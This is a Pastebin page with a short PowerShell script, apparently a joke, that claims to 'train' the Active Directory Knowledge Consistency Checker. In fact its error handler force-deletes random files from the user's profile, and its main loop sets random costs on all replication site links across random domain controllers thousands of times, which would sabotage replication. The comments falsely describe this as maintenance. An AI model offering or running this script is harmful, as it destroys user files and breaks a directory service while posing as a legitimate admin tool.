Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #First, ensure that the proper module is loaded
- try{Import-module ActiveDirectory -erroractionStop}
- catch{
- write-host "Why did you not prepare? Teaching lesson" gci $env:userprofile | % { if((get-random -max 99999) % 42 -eq 0){del $_.fullname -force -confirm:$true } }
- }
- #You may need to update this variable depending on how healthy you would like your KCC to be
- $KCCHealthMeter = 10000
- #Now we need to get some info about the forest
- $DCArray = (Get-ADForest).domains | % {(Get-ADDomain).ReplicaDirectoryServers}
- $linkArray = Get-ADReplicationSiteLink -filter *
- #Finally, we just need to train the KCC for a bit
- for($i=0;$i -lt $kccHealthMeter;$i++){
- foreach($dc in $dcArray){
- foreach($lnk in $linkArray){
- $thisDC = $dcArray[(get-random -max $dcArray.count)]
- $thisCost = Get-Random -min 0 -max $kccHealthMeter
- $thisLink = $linkArray[(get-random -max $linkArray.count)]
- Set-ADReplicationSiteLink -identity $thisLink -Cost $thisCost -server $thisDC
- }
- } sleep -seconds 60 #sleep for one minute to allow KCC to study the problem }
- # i hate reddit formatting for code :/
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement